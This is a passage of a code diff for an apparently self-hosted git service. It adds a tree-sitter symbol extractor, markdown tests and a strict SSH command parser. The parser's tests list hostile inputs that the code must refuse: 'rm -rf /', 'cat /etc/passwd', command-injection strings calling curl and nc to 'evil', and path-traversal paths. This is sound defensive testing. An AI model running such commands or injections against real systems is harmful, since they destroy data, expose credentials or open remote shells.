| 218 | + | } | |
| 219 | + | ||
| 220 | + | #[test] | |
| 221 | + | fn survives_pathological_input_without_panicking() { | |
| 222 | + | // Deeply nested emphasis and lists are a known parser stressor. | |
| 223 | + | let nasty = "*".repeat(5000); | |
| 224 | + | let _ = markdown_to_html(&nasty); | |
| 225 | + | let nested = "> ".repeat(1000) + "text"; | |
| 226 | + | let _ = markdown_to_html(&nested); | |
| 227 | + | let _ = markdown_to_html(&"[".repeat(2000)); | |
| 228 | + | } | |
| 229 | + | ||
| 230 | + | // ─── excerpt ───────────────────────────────────────────────────────────── | |
| 231 | + | ||
| 232 | + | #[test] | |
| 233 | + | fn excerpt_skips_headings_and_strips_emphasis() { | |
| 234 | + | let e = excerpt("# Heading\n\nSome **bold** prose here.", 100); | |
| 235 | + | assert!(!e.contains('#')); | |
| 236 | + | assert!(!e.contains('*')); | |
| 237 | + | assert!(e.contains("Some bold prose")); | |
| 238 | + | } | |
| 239 | + | ||
| 240 | + | #[test] | |
| 241 | + | fn excerpt_truncates_with_an_ellipsis() { | |
| 242 | + | let e = excerpt("a very long line of prose that keeps going", 10); | |
| 243 | + | assert!(e.chars().count() <= 11, "got {e:?}"); | |
| 244 | + | assert!(e.ends_with('…')); | |
| 245 | + | } | |
| 246 | + | ||
| 247 | + | #[test] | |
| 248 | + | fn excerpt_of_empty_input_is_empty() { | |
| 249 | + | assert_eq!(excerpt("", 50), ""); | |
| 250 | + | assert_eq!(excerpt("# only a heading", 50), ""); | |
| 251 | + | } | |
| 252 | + | } | |
Acrates/df-render/src/symbols.rs+348−0
| @@ −0,0 +1,348 @@ | |||
| 1 | + | //! Symbol extraction from source files. | |
| 2 | + | //! | |
| 3 | + | //! Extracts top-level symbols (functions, structs, classes, interfaces, etc.) | |
| 4 | + | //! from source code using tree-sitter grammars. This powers the symbol outline | |
| 5 | + | //! sidebar in the code view. | |
| 6 | + | //! | |
| 7 | + | //! The extraction is best-effort: languages without a grammar or files that fail | |
| 8 | + | //! to parse simply return an empty list, never an error. | |
| 9 | + | ||
| 10 | + | use tree_sitter::{Parser, Tree}; | |
| 11 | + | ||
| 12 | + | /// A symbol extracted from a source file. | |
| 13 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 14 | + | pub struct Symbol { | |
| 15 | + | /// The symbol name (e.g. `main`, `MyStruct`, `handle_request`). | |
| 16 | + | pub name: String, | |
| 17 | + | /// What kind of symbol this is. | |
| 18 | + | pub kind: SymbolKind, | |
| 19 | + | /// 1-based line number where the symbol starts. | |
| 20 | + | pub line: usize, | |
| 21 | + | } | |
| 22 | + | ||
| 23 | + | /// The kind of symbol. | |
| 24 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 25 | + | pub enum SymbolKind { | |
| 26 | + | Function, | |
| 27 | + | Method, | |
| 28 | + | Class, | |
| 29 | + | Struct, | |
| 30 | + | Enum, | |
| 31 | + | Interface, | |
| 32 | + | Trait, | |
| 33 | + | Constant, | |
| 34 | + | Module, | |
| 35 | + | Type, | |
| 36 | + | } | |
| 37 | + | ||
| 38 | + | impl SymbolKind { | |
| 39 | + | /// Short label for the UI. | |
| 40 | + | pub fn label(&self) -> &'static str { | |
| 41 | + | match self { | |
| 42 | + | SymbolKind::Function => "fn", | |
| 43 | + | SymbolKind::Method => "method", | |
| 44 | + | SymbolKind::Class => "class", | |
| 45 | + | SymbolKind::Struct => "struct", | |
| 46 | + | SymbolKind::Enum => "enum", | |
| 47 | + | SymbolKind::Interface => "iface", | |
| 48 | + | SymbolKind::Trait => "trait", | |
| 49 | + | SymbolKind::Constant => "const", | |
| 50 | + | SymbolKind::Module => "mod", | |
| 51 | + | SymbolKind::Type => "type", | |
| 52 | + | } | |
| 53 | + | } | |
| 54 | + | ||
| 55 | + | /// CSS class suffix for styling. | |
| 56 | + | pub fn css_class(&self) -> &'static str { | |
| 57 | + | match self { | |
| 58 | + | SymbolKind::Function | SymbolKind::Method => "fn", | |
| 59 | + | SymbolKind::Class | SymbolKind::Struct => "type", | |
| 60 | + | SymbolKind::Enum => "enum", | |
| 61 | + | SymbolKind::Interface | SymbolKind::Trait => "trait", | |
| 62 | + | SymbolKind::Constant => "const", | |
| 63 | + | SymbolKind::Module => "mod", | |
| 64 | + | SymbolKind::Type => "type", | |
| 65 | + | } | |
| 66 | + | } | |
| 67 | + | } | |
| 68 | + | ||
| 69 | + | /// Extract symbols from the given source code. | |
| 70 | + | /// | |
| 71 | + | /// `path` is used to determine the language (by extension). Returns an empty | |
| 72 | + | /// vec for unsupported languages or if parsing fails. | |
| 73 | + | pub fn extract_symbols(path: &str, source: &str) -> Vec<Symbol> { | |
| 74 | + | // Don't attempt symbol extraction on very large files. | |
| 75 | + | if source.len() > 1024 * 1024 { | |
| 76 | + | return Vec::new(); | |
| 77 | + | } | |
| 78 | + | ||
| 79 | + | let lang = match language_for_symbols(path) { | |
| 80 | + | Some(l) => l, | |
| 81 | + | None => return Vec::new(), | |
| 82 | + | }; | |
| 83 | + | ||
| 84 | + | let mut parser = Parser::new(); | |
| 85 | + | if parser.set_language(&lang.ts_language).is_err() { | |
| 86 | + | return Vec::new(); | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | let tree = match parser.parse(source, None) { | |
| 90 | + | Some(t) => t, | |
| 91 | + | None => return Vec::new(), | |
| 92 | + | }; | |
| 93 | + | ||
| 94 | + | extract_from_tree(&tree, source, lang.node_kinds) | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | /// Walk the tree and collect symbols based on language-specific node kinds. | |
| 98 | + | fn extract_from_tree(tree: &Tree, source: &str, node_kinds: &[NodeKindMapping]) -> Vec<Symbol> { | |
| 99 | + | let mut symbols = Vec::new(); | |
| 100 | + | let root = tree.root_node(); | |
| 101 | + | ||
| 102 | + | let mut cursor = root.walk(); | |
| 103 | + | // Only walk top-level and one level deep (for impl blocks, class bodies). | |
| 104 | + | for node in root.children(&mut cursor) { | |
| 105 | + | extract_node(&node, source, node_kinds, &mut symbols, 0); | |
| 106 | + | } | |
| 107 | + | ||
| 108 | + | symbols | |
| 109 | + | } | |
| 110 | + | ||
| 111 | + | /// Maximum nesting depth for symbol extraction. | |
| 112 | + | const MAX_DEPTH: usize = 2; | |
| 113 | + | ||
| 114 | + | fn extract_node( | |
| 115 | + | node: &tree_sitter::Node, | |
| 116 | + | source: &str, | |
| 117 | + | node_kinds: &[NodeKindMapping], | |
| 118 | + | symbols: &mut Vec<Symbol>, | |
| 119 | + | depth: usize, | |
| 120 | + | ) { | |
| 121 | + | let kind = node.kind(); | |
| 122 | + | ||
| 123 | + | // Check if this node kind maps to a symbol. | |
| 124 | + | for mapping in node_kinds { | |
| 125 | + | if mapping.node_kind == kind { | |
| 126 | + | if let Some(name) = find_name_child(node, source, mapping.name_field) { | |
| 127 | + | symbols.push(Symbol { | |
| 128 | + | name, | |
| 129 | + | kind: mapping.symbol_kind, | |
| 130 | + | line: node.start_position().row + 1, | |
| 131 | + | }); | |
| 132 | + | } | |
| 133 | + | break; | |
| 134 | + | } | |
| 135 | + | } | |
| 136 | + | ||
| 137 | + | // Recurse into container nodes (impl blocks, class bodies) but not too deep. | |
| 138 | + | if depth < MAX_DEPTH && is_container_node(kind) { | |
| 139 | + | let mut cursor = node.walk(); | |
| 140 | + | for child in node.children(&mut cursor) { | |
| 141 | + | extract_node(&child, source, node_kinds, symbols, depth + 1); | |
| 142 | + | } | |
| 143 | + | } | |
| 144 | + | } | |
| 145 | + | ||
| 146 | + | /// Find the name of a node by looking for a specific child field. | |
| 147 | + | fn find_name_child( | |
| 148 | + | node: &tree_sitter::Node, | |
| 149 | + | source: &str, | |
| 150 | + | name_field: &str, | |
| 151 | + | ) -> Option<String> { | |
| 152 | + | let child = node.child_by_field_name(name_field)?; | |
| 153 | + | let text = child.utf8_text(source.as_bytes()).ok()?; | |
| 154 | + | // Limit name length to avoid absurd entries. | |
| 155 | + | if text.len() > 200 { | |
| 156 | + | return None; | |
| 157 | + | } | |
| 158 | + | Some(text.to_string()) | |
| 159 | + | } | |
| 160 | + | ||
| 161 | + | /// Whether a node is a "container" that might have nested symbols. | |
| 162 | + | fn is_container_node(kind: &str) -> bool { | |
| 163 | + | matches!( | |
| 164 | + | kind, | |
| 165 | + | "impl_item" | |
| 166 | + | | "class_declaration" | |
| 167 | + | | "class_definition" | |
| 168 | + | | "class_body" | |
| 169 | + | | "module" | |
| 170 | + | | "namespace_declaration" | |
| 171 | + | | "object_declaration" | |
| 172 | + | | "trait_definition" | |
| 173 | + | | "interface_declaration" | |
| 174 | + | | "declaration_list" | |
| 175 | + | | "block" | |
| 176 | + | | "program" | |
| 177 | + | ) | |
| 178 | + | } | |
| 179 | + | ||
| 180 | + | // ─── Language-specific configuration ───────────────────────────────────────── | |
| 181 | + | ||
| 182 | + | struct NodeKindMapping { | |
| 183 | + | node_kind: &'static str, | |
| 184 | + | name_field: &'static str, | |
| 185 | + | symbol_kind: SymbolKind, | |
| 186 | + | } | |
| 187 | + | ||
| 188 | + | struct SymbolLanguage { | |
| 189 | + | ts_language: tree_sitter::Language, | |
| 190 | + | node_kinds: &'static [NodeKindMapping], | |
| 191 | + | } | |
| 192 | + | ||
| 193 | + | const RUST_KINDS: &[NodeKindMapping] = &[ | |
| 194 | + | NodeKindMapping { node_kind: "function_item", name_field: "name", symbol_kind: SymbolKind::Function }, | |
| 195 | + | NodeKindMapping { node_kind: "struct_item", name_field: "name", symbol_kind: SymbolKind::Struct }, | |
| 196 | + | NodeKindMapping { node_kind: "enum_item", name_field: "name", symbol_kind: SymbolKind::Enum }, | |
| 197 | + | NodeKindMapping { node_kind: "trait_item", name_field: "name", symbol_kind: SymbolKind::Trait }, | |
| 198 | + | NodeKindMapping { node_kind: "type_item", name_field: "name", symbol_kind: SymbolKind::Type }, | |
| 199 | + | NodeKindMapping { node_kind: "const_item", name_field: "name", symbol_kind: SymbolKind::Constant }, | |
| 200 | + | NodeKindMapping { node_kind: "mod_item", name_field: "name", symbol_kind: SymbolKind::Module }, | |
| 201 | + | NodeKindMapping { node_kind: "impl_item", name_field: "type", symbol_kind: SymbolKind::Struct }, | |
| 202 | + | ]; | |
| 203 | + | ||
| 204 | + | const PYTHON_KINDS: &[NodeKindMapping] = &[ | |
| 205 | + | NodeKindMapping { node_kind: "function_definition", name_field: "name", symbol_kind: SymbolKind::Function }, | |
| 206 | + | NodeKindMapping { node_kind: "class_definition", name_field: "name", symbol_kind: SymbolKind::Class }, | |
| 207 | + | ]; | |
| 208 | + | ||
| 209 | + | const JS_KINDS: &[NodeKindMapping] = &[ | |
| 210 | + | NodeKindMapping { node_kind: "function_declaration", name_field: "name", symbol_kind: SymbolKind::Function }, | |
| 211 | + | NodeKindMapping { node_kind: "class_declaration", name_field: "name", symbol_kind: SymbolKind::Class }, | |
| 212 | + | NodeKindMapping { node_kind: "method_definition", name_field: "name", symbol_kind: SymbolKind::Method }, | |
| 213 | + | ]; | |
| 214 | + | ||
| 215 | + | const GO_KINDS: &[NodeKindMapping] = &[ | |
| 216 | + | NodeKindMapping { node_kind: "function_declaration", name_field: "name", symbol_kind: SymbolKind::Function }, | |
| 217 | + | NodeKindMapping { node_kind: "method_declaration", name_field: "name", symbol_kind: SymbolKind::Method }, | |
| 218 | + | NodeKindMapping { node_kind: "type_declaration", name_field: "name", symbol_kind: SymbolKind::Type }, | |
| 219 | + | ]; | |
| 220 | + | ||
| 221 | + | const JAVA_KINDS: &[NodeKindMapping] = &[ | |
| 222 | + | NodeKindMapping { node_kind: "class_declaration", name_field: "name", symbol_kind: SymbolKind::Class }, | |
| 223 | + | NodeKindMapping { node_kind: "method_declaration", name_field: "name", symbol_kind: SymbolKind::Method }, | |
| 224 | + | NodeKindMapping { node_kind: "interface_declaration", name_field: "name", symbol_kind: SymbolKind::Interface }, | |
| 225 | + | NodeKindMapping { node_kind: "enum_declaration", name_field: "name", symbol_kind: SymbolKind::Enum }, | |
| 226 | + | ]; | |
| 227 | + | ||
| 228 | + | const C_KINDS: &[NodeKindMapping] = &[ | |
| 229 | + | NodeKindMapping { node_kind: "function_definition", name_field: "declarator", symbol_kind: SymbolKind::Function }, | |
| 230 | + | NodeKindMapping { node_kind: "struct_specifier", name_field: "name", symbol_kind: SymbolKind::Struct }, | |
| 231 | + | NodeKindMapping { node_kind: "enum_specifier", name_field: "name", symbol_kind: SymbolKind::Enum }, | |
| 232 | + | ]; | |
| 233 | + | ||
| 234 | + | const RUBY_KINDS: &[NodeKindMapping] = &[ | |
| 235 | + | NodeKindMapping { node_kind: "method", name_field: "name", symbol_kind: SymbolKind::Method }, | |
| 236 | + | NodeKindMapping { node_kind: "class", name_field: "name", symbol_kind: SymbolKind::Class }, | |
| 237 | + | NodeKindMapping { node_kind: "module", name_field: "name", symbol_kind: SymbolKind::Module }, | |
| 238 | + | ]; | |
| 239 | + | ||
| 240 | + | fn language_for_symbols(path: &str) -> Option<SymbolLanguage> { | |
| 241 | + | let name = path.rsplit('/').next().unwrap_or(path); | |
| 242 | + | let ext = name.rsplit_once('.').map(|(_, e)| e.to_ascii_lowercase())?; | |
| 243 | + | ||
| 244 | + | match ext.as_str() { | |
| 245 | + | "rs" => Some(SymbolLanguage { | |
| 246 | + | ts_language: tree_sitter_rust::LANGUAGE.into(), | |
| 247 | + | node_kinds: RUST_KINDS, | |
| 248 | + | }), | |
| 249 | + | "py" | "pyi" | "pyw" => Some(SymbolLanguage { | |
| 250 | + | ts_language: tree_sitter_python::LANGUAGE.into(), | |
| 251 | + | node_kinds: PYTHON_KINDS, | |
| 252 | + | }), | |
| 253 | + | "js" | "mjs" | "cjs" | "jsx" => Some(SymbolLanguage { | |
| 254 | + | ts_language: tree_sitter_javascript::LANGUAGE.into(), | |
| 255 | + | node_kinds: JS_KINDS, | |
| 256 | + | }), | |
| 257 | + | "ts" | "mts" | "cts" => Some(SymbolLanguage { | |
| 258 | + | ts_language: tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into(), | |
| 259 | + | node_kinds: JS_KINDS, | |
| 260 | + | }), | |
| 261 | + | "tsx" => Some(SymbolLanguage { | |
| 262 | + | ts_language: tree_sitter_typescript::LANGUAGE_TSX.into(), | |
| 263 | + | node_kinds: JS_KINDS, | |
| 264 | + | }), | |
| 265 | + | "go" => Some(SymbolLanguage { | |
| 266 | + | ts_language: tree_sitter_go::LANGUAGE.into(), | |
| 267 | + | node_kinds: GO_KINDS, | |
| 268 | + | }), | |
| 269 | + | "c" | "h" => Some(SymbolLanguage { | |
| 270 | + | ts_language: tree_sitter_c::LANGUAGE.into(), | |
| 271 | + | node_kinds: C_KINDS, | |
| 272 | + | }), | |
| 273 | + | "cc" | "cpp" | "cxx" | "hpp" | "hh" | "hxx" => Some(SymbolLanguage { | |
| 274 | + | ts_language: tree_sitter_cpp::LANGUAGE.into(), | |
| 275 | + | node_kinds: C_KINDS, | |
| 276 | + | }), | |
| 277 | + | "java" => Some(SymbolLanguage { | |
| 278 | + | ts_language: tree_sitter_java::LANGUAGE.into(), | |
| 279 | + | node_kinds: JAVA_KINDS, | |
| 280 | + | }), | |
| 281 | + | "rb" | "rake" | "gemspec" => Some(SymbolLanguage { | |
| 282 | + | ts_language: tree_sitter_ruby::LANGUAGE.into(), | |
| 283 | + | node_kinds: RUBY_KINDS, | |
| 284 | + | }), | |
| 285 | + | _ => None, | |
| 286 | + | } | |
| 287 | + | } | |
| 288 | + | ||
| 289 | + | #[cfg(test)] | |
| 290 | + | mod tests { | |
| 291 | + | use super::*; | |
| 292 | + | ||
| 293 | + | #[test] | |
| 294 | + | fn extracts_rust_symbols() { | |
| 295 | + | let source = r#" | |
| 296 | + | fn main() { | |
| 297 | + | println!("hello"); | |
| 298 | + | } | |
| 299 | + | ||
| 300 | + | struct Foo { | |
| 301 | + | x: i32, | |
| 302 | + | } | |
| 303 | + | ||
| 304 | + | enum Bar { | |
| 305 | + | A, | |
| 306 | + | B, | |
| 307 | + | } | |
| 308 | + | ||
| 309 | + | trait Baz { | |
| 310 | + | fn method(&self); | |
| 311 | + | } | |
| 312 | + | "#; | |
| 313 | + | let symbols = extract_symbols("src/main.rs", source); | |
| 314 | + | let names: Vec<&str> = symbols.iter().map(|s| s.name.as_str()).collect(); | |
| 315 | + | assert!(names.contains(&"main")); | |
| 316 | + | assert!(names.contains(&"Foo")); | |
| 317 | + | assert!(names.contains(&"Bar")); | |
| 318 | + | assert!(names.contains(&"Baz")); | |
| 319 | + | } | |
| 320 | + | ||
| 321 | + | #[test] | |
| 322 | + | fn extracts_python_symbols() { | |
| 323 | + | let source = r#" | |
| 324 | + | def hello(): | |
| 325 | + | pass | |
| 326 | + | ||
| 327 | + | class World: | |
| 328 | + | def method(self): | |
| 329 | + | pass | |
| 330 | + | "#; | |
| 331 | + | let symbols = extract_symbols("app.py", source); | |
| 332 | + | let names: Vec<&str> = symbols.iter().map(|s| s.name.as_str()).collect(); | |
| 333 | + | assert!(names.contains(&"hello")); | |
| 334 | + | assert!(names.contains(&"World")); | |
| 335 | + | } | |
| 336 | + | ||
| 337 | + | #[test] | |
| 338 | + | fn unsupported_language_returns_empty() { | |
| 339 | + | let symbols = extract_symbols("data.csv", "a,b,c\n1,2,3\n"); | |
| 340 | + | assert!(symbols.is_empty()); | |
| 341 | + | } | |
| 342 | + | ||
| 343 | + | #[test] | |
| 344 | + | fn empty_source_returns_empty() { | |
| 345 | + | let symbols = extract_symbols("main.rs", ""); | |
| 346 | + | assert!(symbols.is_empty()); | |
| 347 | + | } | |
| 348 | + | } | |
Acrates/df-ssh/Cargo.toml+24−0
| @@ −0,0 +1,24 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-ssh" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [[bin]] | |
| 9 | + | name = "dogfood-ssh" | |
| 10 | + | path = "src/main.rs" | |
| 11 | + | ||
| 12 | + | [dependencies] | |
| 13 | + | df-db = { path = "../df-db" } | |
| 14 | + | df-auth = { path = "../df-auth" } | |
| 15 | + | ||
| 16 | + | anyhow.workspace = true | |
| 17 | + | dotenvy.workspace = true | |
| 18 | + | rand.workspace = true | |
| 19 | + | russh.workspace = true | |
| 20 | + | sqlx.workspace = true | |
| 21 | + | tokio.workspace = true | |
| 22 | + | tracing.workspace = true | |
| 23 | + | tracing-subscriber.workspace = true | |
| 24 | + | uuid.workspace = true | |
Acrates/df-ssh/src/exec.rs+322−0
| @@ −0,0 +1,322 @@ | |||
| 1 | + | //! Parsing the requested SSH command (spec §6, §9). | |
| 2 | + | //! | |
| 3 | + | //! > `dogfood-ssh` … dispatches only `git-upload-pack` and `git-receive-pack`. | |
| 4 | + | //! > No shell, no port forwarding, no agent forwarding, no PTY, no SFTP, no exec | |
| 5 | + | //! > of anything else. Parse the requested command strictly and reject anything | |
| 6 | + | //! > unrecognized. | |
| 7 | + | //! | |
| 8 | + | //! This is the module that decides what a connected key is allowed to run, so | |
| 9 | + | //! it is pure, strict, and heavily tested. | |
| 10 | + | ||
| 11 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 12 | + | pub enum Service { | |
| 13 | + | UploadPack, | |
| 14 | + | ReceivePack, | |
| 15 | + | } | |
| 16 | + | ||
| 17 | + | impl Service { | |
| 18 | + | pub fn git_subcommand(self) -> &'static str { | |
| 19 | + | match self { | |
| 20 | + | Service::UploadPack => "upload-pack", | |
| 21 | + | Service::ReceivePack => "receive-pack", | |
| 22 | + | } | |
| 23 | + | } | |
| 24 | + | ||
| 25 | + | /// Whether running this service modifies the repository. | |
| 26 | + | pub fn is_write(self) -> bool { | |
| 27 | + | matches!(self, Service::ReceivePack) | |
| 28 | + | } | |
| 29 | + | } | |
| 30 | + | ||
| 31 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 32 | + | pub struct Request { | |
| 33 | + | pub service: Service, | |
| 34 | + | pub owner: String, | |
| 35 | + | pub repo: String, | |
| 36 | + | } | |
| 37 | + | ||
| 38 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 39 | + | pub enum ExecError { | |
| 40 | + | /// Not one of the two permitted commands. | |
| 41 | + | UnsupportedCommand, | |
| 42 | + | /// The path was not `owner/repo`. | |
| 43 | + | BadPath, | |
| 44 | + | Malformed, | |
| 45 | + | } | |
| 46 | + | ||
| 47 | + | impl std::fmt::Display for ExecError { | |
| 48 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 49 | + | match self { | |
| 50 | + | ExecError::UnsupportedCommand => write!( | |
| 51 | + | f, | |
| 52 | + | "Dogfood accepts only `git-upload-pack` and `git-receive-pack` over SSH." | |
| 53 | + | ), | |
| 54 | + | ExecError::BadPath => write!(f, "Expected a path of the form 'owner/repo'."), | |
| 55 | + | ExecError::Malformed => write!(f, "Could not parse the requested command."), | |
| 56 | + | } | |
| 57 | + | } | |
| 58 | + | } | |
| 59 | + | ||
| 60 | + | /// Parse an SSH exec request. | |
| 61 | + | /// | |
| 62 | + | /// Git sends, for example: `git-upload-pack 'owner/repo.git'`. | |
| 63 | + | /// The quoting varies between clients, so both quoted and bare forms are | |
| 64 | + | /// accepted — but nothing else is. There is deliberately no shell involved: | |
| 65 | + | /// the string is split on whitespace and the pieces are matched literally, so | |
| 66 | + | /// metacharacters carry no meaning. | |
| 67 | + | pub fn parse(command: &str) -> Result<Request, ExecError> { | |
| 68 | + | // Guard against absurd input before doing any work. | |
| 69 | + | if command.is_empty() || command.len() > 4096 { | |
| 70 | + | return Err(ExecError::Malformed); | |
| 71 | + | } | |
| 72 | + | // A control character has no place in a command and is a strong signal of | |
| 73 | + | // an injection attempt. | |
| 74 | + | if command.bytes().any(|b| b < 0x20 || b == 0x7f) { | |
| 75 | + | return Err(ExecError::Malformed); | |
| 76 | + | } | |
| 77 | + | ||
| 78 | + | let trimmed = command.trim(); | |
| 79 | + | let (verb, rest) = match trimmed.split_once(char::is_whitespace) { | |
| 80 | + | Some((v, r)) => (v, r.trim()), | |
| 81 | + | None => return Err(ExecError::UnsupportedCommand), | |
| 82 | + | }; | |
| 83 | + | ||
| 84 | + | // Exactly two commands. `git upload-pack` (space form) is also accepted | |
| 85 | + | // because some clients send it, but nothing else — in particular not | |
| 86 | + | // `git-upload-pack-with-anything`, and not a shell pipeline. | |
| 87 | + | let (service, rest) = match verb { | |
| 88 | + | "git-upload-pack" => (Service::UploadPack, rest), | |
| 89 | + | "git-receive-pack" => (Service::ReceivePack, rest), | |
| 90 | + | "git" => { | |
| 91 | + | let (sub, r) = rest.split_once(char::is_whitespace).ok_or(ExecError::Malformed)?; | |
| 92 | + | match sub { | |
| 93 | + | "upload-pack" => (Service::UploadPack, r.trim()), | |
| 94 | + | "receive-pack" => (Service::ReceivePack, r.trim()), | |
| 95 | + | _ => return Err(ExecError::UnsupportedCommand), | |
| 96 | + | } | |
| 97 | + | } | |
| 98 | + | _ => return Err(ExecError::UnsupportedCommand), | |
| 99 | + | }; | |
| 100 | + | ||
| 101 | + | // Only one argument is permitted: the repository path. More than one means | |
| 102 | + | // the client is trying to pass flags. | |
| 103 | + | if rest.split_whitespace().count() != 1 { | |
| 104 | + | return Err(ExecError::Malformed); | |
| 105 | + | } | |
| 106 | + | ||
| 107 | + | let path = unquote(rest); | |
| 108 | + | let (owner, repo) = split_path(&path)?; | |
| 109 | + | ||
| 110 | + | Ok(Request { | |
| 111 | + | service, | |
| 112 | + | owner, | |
| 113 | + | repo, | |
| 114 | + | }) | |
| 115 | + | } | |
| 116 | + | ||
| 117 | + | fn unquote(s: &str) -> String { | |
| 118 | + | let s = s.trim(); | |
| 119 | + | for q in ['\'', '"'] { | |
| 120 | + | if s.len() >= 2 && s.starts_with(q) && s.ends_with(q) { | |
| 121 | + | return s[1..s.len() - 1].to_string(); | |
| 122 | + | } | |
| 123 | + | } | |
| 124 | + | s.to_string() | |
| 125 | + | } | |
| 126 | + | ||
| 127 | + | /// Split `owner/repo(.git)` into its parts, rejecting anything else. | |
| 128 | + | /// | |
| 129 | + | /// Traversal is impossible by construction: exactly two components are allowed | |
| 130 | + | /// and neither may contain a slash or a dot-dot. | |
| 131 | + | fn split_path(path: &str) -> Result<(String, String), ExecError> { | |
| 132 | + | let path = path.trim_start_matches('/').trim_end_matches('/'); | |
| 133 | + | let path = path.strip_suffix(".git").unwrap_or(path); | |
| 134 | + | ||
| 135 | + | let mut parts = path.split('/'); | |
| 136 | + | let (Some(owner), Some(repo), None) = (parts.next(), parts.next(), parts.next()) else { | |
| 137 | + | return Err(ExecError::BadPath); | |
| 138 | + | }; | |
| 139 | + | ||
| 140 | + | if owner.is_empty() || repo.is_empty() { | |
| 141 | + | return Err(ExecError::BadPath); | |
| 142 | + | } | |
| 143 | + | // Belt and braces — a component cannot contain a slash here, but `..` as a | |
| 144 | + | // whole component would still be a traversal attempt worth naming. | |
| 145 | + | if owner.contains("..") || repo.contains("..") { | |
| 146 | + | return Err(ExecError::BadPath); | |
| 147 | + | } | |
| 148 | + | if !owner.chars().all(valid_owner_char) || !repo.chars().all(valid_repo_char) { | |
| 149 | + | return Err(ExecError::BadPath); | |
| 150 | + | } | |
| 151 | + | ||
| 152 | + | Ok((owner.to_string(), repo.to_string())) | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | fn valid_owner_char(c: char) -> bool { | |
| 156 | + | c.is_ascii_alphanumeric() || c == '-' | |
| 157 | + | } | |
| 158 | + | ||
| 159 | + | fn valid_repo_char(c: char) -> bool { | |
| 160 | + | c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-') | |
| 161 | + | } | |
| 162 | + | ||
| 163 | + | #[cfg(test)] | |
| 164 | + | mod tests { | |
| 165 | + | use super::*; | |
| 166 | + | ||
| 167 | + | fn req(service: Service, owner: &str, repo: &str) -> Request { | |
| 168 | + | Request { | |
| 169 | + | service, | |
| 170 | + | owner: owner.into(), | |
| 171 | + | repo: repo.into(), | |
| 172 | + | } | |
| 173 | + | } | |
| 174 | + | ||
| 175 | + | #[test] | |
| 176 | + | fn parses_the_standard_forms() { | |
| 177 | + | assert_eq!( | |
| 178 | + | parse("git-upload-pack 'snow/core.git'").unwrap(), | |
| 179 | + | req(Service::UploadPack, "snow", "core") | |
| 180 | + | ); | |
| 181 | + | assert_eq!( | |
| 182 | + | parse("git-receive-pack 'snow/core.git'").unwrap(), | |
| 183 | + | req(Service::ReceivePack, "snow", "core") | |
| 184 | + | ); | |
| 185 | + | // Unquoted, no .git, leading slash — all seen from real clients. | |
| 186 | + | assert_eq!( | |
| 187 | + | parse("git-upload-pack /snow/core").unwrap(), | |
| 188 | + | req(Service::UploadPack, "snow", "core") | |
| 189 | + | ); | |
| 190 | + | assert_eq!( | |
| 191 | + | parse("git-upload-pack \"snow/core.git\"").unwrap(), | |
| 192 | + | req(Service::UploadPack, "snow", "core") | |
| 193 | + | ); | |
| 194 | + | assert_eq!( | |
| 195 | + | parse("git upload-pack 'snow/core.git'").unwrap(), | |
| 196 | + | req(Service::UploadPack, "snow", "core") | |
| 197 | + | ); | |
| 198 | + | } | |
| 199 | + | ||
| 200 | + | // ─── everything else is refused (spec §9) ──────────────────────────────── | |
| 201 | + | ||
| 202 | + | #[test] | |
| 203 | + | fn refuses_any_other_command() { | |
| 204 | + | for bad in [ | |
| 205 | + | "bash", | |
| 206 | + | "sh -c 'rm -rf /'", | |
| 207 | + | "scp -t /tmp", | |
| 208 | + | "rsync --server", | |
| 209 | + | "git-upload-archive 'a/b'", | |
| 210 | + | "git gc", | |
| 211 | + | "git-upload-packX 'a/b'", | |
| 212 | + | "/usr/bin/git-upload-pack 'a/b'", | |
| 213 | + | "env", | |
| 214 | + | "cat /etc/passwd", | |
| 215 | + | ] { | |
| 216 | + | assert!( | |
| 217 | + | matches!( | |
| 218 | + | parse(bad), | |
| 219 | + | Err(ExecError::UnsupportedCommand) | Err(ExecError::Malformed) | |
| 220 | + | ), | |
| 221 | + | "must refuse {bad:?}, got {:?}", | |
| 222 | + | parse(bad) | |
| 223 | + | ); | |
| 224 | + | } | |
| 225 | + | } | |
| 226 | + | ||
| 227 | + | #[test] | |
| 228 | + | fn shell_metacharacters_carry_no_meaning() { | |
| 229 | + | // There is no shell, so these are simply invalid paths — never executed. | |
| 230 | + | for bad in [ | |
| 231 | + | "git-upload-pack 'a/b; rm -rf /'", | |
| 232 | + | "git-upload-pack 'a/b && curl evil'", | |
| 233 | + | "git-upload-pack 'a/b|nc evil 1234'", | |
| 234 | + | "git-upload-pack '$(whoami)/x'", | |
| 235 | + | "git-upload-pack '`id`/x'", | |
| 236 | + | ] { | |
| 237 | + | assert!(parse(bad).is_err(), "must refuse {bad:?}"); | |
| 238 | + | } | |
| 239 | + | } | |
| 240 | + | ||
| 241 | + | #[test] | |
| 242 | + | fn refuses_path_traversal() { | |
| 243 | + | for bad in [ | |
| 244 | + | "git-upload-pack '../../etc/passwd'", | |
| 245 | + | "git-upload-pack 'a/../../b'", | |
| 246 | + | "git-upload-pack 'a/b/c'", | |
| 247 | + | "git-upload-pack 'onlyone'", | |
| 248 | + | "git-upload-pack '..'", | |
| 249 | + | "git-upload-pack '/'", | |
| 250 | + | ] { | |
| 251 | + | assert!( | |
| 252 | + | matches!(parse(bad), Err(ExecError::BadPath) | Err(ExecError::Malformed)), | |
| 253 | + | "must refuse {bad:?}, got {:?}", | |
| 254 | + | parse(bad) | |
| 255 | + | ); | |
| 256 | + | } | |
| 257 | + | } | |
| 258 | + | ||
| 259 | + | /// An absolute path is the ordinary wire form, not an attack. | |
| 260 | + | /// | |
